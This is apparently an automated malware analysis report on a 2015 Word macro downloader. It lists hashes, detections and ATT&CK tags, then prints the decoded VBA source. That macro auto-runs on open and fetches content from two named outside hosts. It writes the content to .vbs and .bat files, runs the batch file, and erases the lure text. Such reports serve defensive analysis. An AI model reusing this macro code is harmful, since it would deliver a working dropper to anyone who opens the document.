Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0e751a6c9623a71c…

MALICIOUS

Office (OLE)

215.0 KB Created: 2015-09-01 23:35:00 Authoring application: Microsoft Office Word First seen: 2015-09-18
MD5: 4c93aa67226808032e74bcf1cf8db3a0 SHA-1: bc65f35835753d10e16c396dbdbe8a30a042f6ee SHA-256: 0e751a6c9623a71cd892aa8bc2b9e6e8f4e14ded6b09dec314ca8beaebba97de
214 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The Auto_Open macro triggers the execution of the Unvaid subroutine, which constructs URLs from hardcoded strings and attempts to download content. The script attempts to download a payload from 'www.charleswhitedds.com' or 'www.ronniesflooring.com', indicating a downloader functionality.

Heuristics 10

  • ClamAV: Doc.Macro.ObfuscatedHeuristic-5931994-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.ObfuscatedHeuristic-5931994-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Creasqwdqwjdk = CreateObject(a)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Goabc = Environ(sps)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4059 bytes
SHA-256: 37e50e265b67dc2d8298e89df2dc1806a6c16633f13eb2181dc81b5d60ff470f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Auto_Open()
    Seinko
End Sub
Sub Seinko()
    BHQJDBQW = "12hekj2 ehh1ge2hj1g"
    Unvaid
End Sub
Sub AutoOpen()
    Seinko
End Sub
Sub Unvaid()
    
    Dim MADRID As String, BERILKA As String, ANDOKANA As String
    Dim TSTS As String, CDDD As String, LNSS As String, STT1 As String, STT2 As String
    Dim PBIn As String, CONT As String
    Dim Ndjs As Integer
    Dim ABTH As String, BBTH As String
    Dim klmn As Integer, TTKK As String
    Dim GEFORCE1 As String, GEFORCE2 As String, hdjshd As Integer
    Dim eDate As Date
    eDate = #2/12/2010#
     
    ANDOKANA = Module2.hhr(92 + 0)
    MADRID = Samsung(9989)
    BERILKA = "Temp" & ""
    PH2 = Module1.Goabc(BERILKA) + ANDOKANA
    
    ART = 315
    BFT = 316

    Randomize
    Ndjs = Int(Year(eDate)) - 1938
    ATTH = hhr(Ndjs) + Chr(Ndjs + 12) + Chr(Ndjs + 12) + Chr(Ndjs + 5 + 3)
    ATTH = ATTH + "://"

    TSTS = ".t" & "xt"
    CDDD = "66836487162" + TSTS
    LNSS = "sasa" + TSTS
    STT1 = "w" & "ww.charleswhitedds.c" & "om/assets/cache/rss/"
    STT2 = "w" & "ww.ronniesflooring.c" & "om/assets/images/slider/"
    
    
    PBIn = ATTH + STT1 + CDDD
    
    CONT = Module2.Huqwhdkjqwl(PBIn)
    BHJD = Right(CONT, 15)
    hdjshd = InStr(1, BHJD, "exit")
       
    If (hdjshd = 0) Then
    PBIn = ATTH + STT2 + CDDD
    CONT = Module2.Huqwhdkjqwl(PBIn)
    NFBH = Module2.Huqwhdkjqwl(ATTH + STT2 + LNSS)
    Else
    NFBH = Module2.Huqwhdkjqwl(ATTH + STT1 + LNSS)
    End If
    
    Module2.Crispy (1)
    
    CPLRP1 = "pioneer"
    CPLRP2 = "paytina"
    CPLRP3 = "cr" & "anberry"
    
    CONT = Replace(CONT, CPLRP1, PH2, 1)
    CONT = Replace(CONT, CPLRP2, NFBH, 1)
    CONT2 = Replace(CONT, CPLRP3, MADRID, 1)
    
    TTKK = "$"
    
    klmn = CInt(Len(CONT2))
    For i = 1 To klmn
        If (Mid(CONT2, i, 1) = TTKK) Then
            If (Mid(CONT2, i - 1, 1) = TTKK) Then
                GEFORCE1 = Mid(CONT2, 1, i - 2)
                GEFORCE2 = Mid(CONT2, i + 1, klmn - i)
            End If
        End If
    Next i
    
    ABTH = PH2 + MADRID + ".vbs"
    BBTH = PH2 + MADRID + ".bat"
    
    
    Open ABTH For Output As #ART
    Print #ART, GEFORCE1
    Close #ART
    
    Module2.Crispy (1)
     
    Open BBTH For Output As #BFT
    Print #BFT, GEFORCE2
    Close #BFT
    
    Module2.Crispy (1)
    
    QUHDQ = Module2.Fuflmdjoo(BBTH)
    Module1.Hameleon
    
End Sub
Sub Workbook_Open()
    QIJWD = "12ebhj1g2 h12gejh21ge2j"
    Seinko
End Sub
Public Function NHdjhasbdhas(a As Object)
NHdjhasbdhas = (a.responsetext)
End Function
Public Function Samsung(a As Integer)
Randomize
Samsung = CStr(Int((a / 2 * Rnd) + a))
End Function
Public Function Creasqwdqwjdk(a As String)
Creasqwdqwjdk = CreateObject(a)
End Function
Public Function Stkjrhbs(a As Integer)
Stkjrhbs = Sgn(a)
End Function


Attribute VB_Name = "Module1"
Sub Hameleon()
Dim ij As Integer
Dim charCount As Integer
charCount = ActiveDocument.Characters.Count - 1
BHDW = "k"
VBJQWKDW = "NQJWHDKJ qwgdhjqwg jdhq ghqjwd"
JFQW = "t"
ij = 0
Do While True
    ij = ij + 1
    If (ActiveDocument.Characters(ij) = BHDW) Then
        VNJQKDW = "qkwhdk jqwdhjqwbd hjq2bh2j g"
        If (ActiveDocument.Characters(ij - 1) = JFQW) Then
            ActiveDocument.Range(Start:=0, End:=ij).Delete
            ActiveDocument.Range(Start:=0, End:=charCount - ij - 1).Font.ColorIndex = wdBlack
            Exit Do
        End If
    End If
    If (ij = charCount) Then
        Exit Do
    End If
Loop
End Sub

Public Function Goabc(sps As String)
NVJKQWD = "qwdhjkqw dvqwhdhjqw gdqwjhd"
Goabc = Environ(sps)
End Function




Attribute VB_Name = "Module2"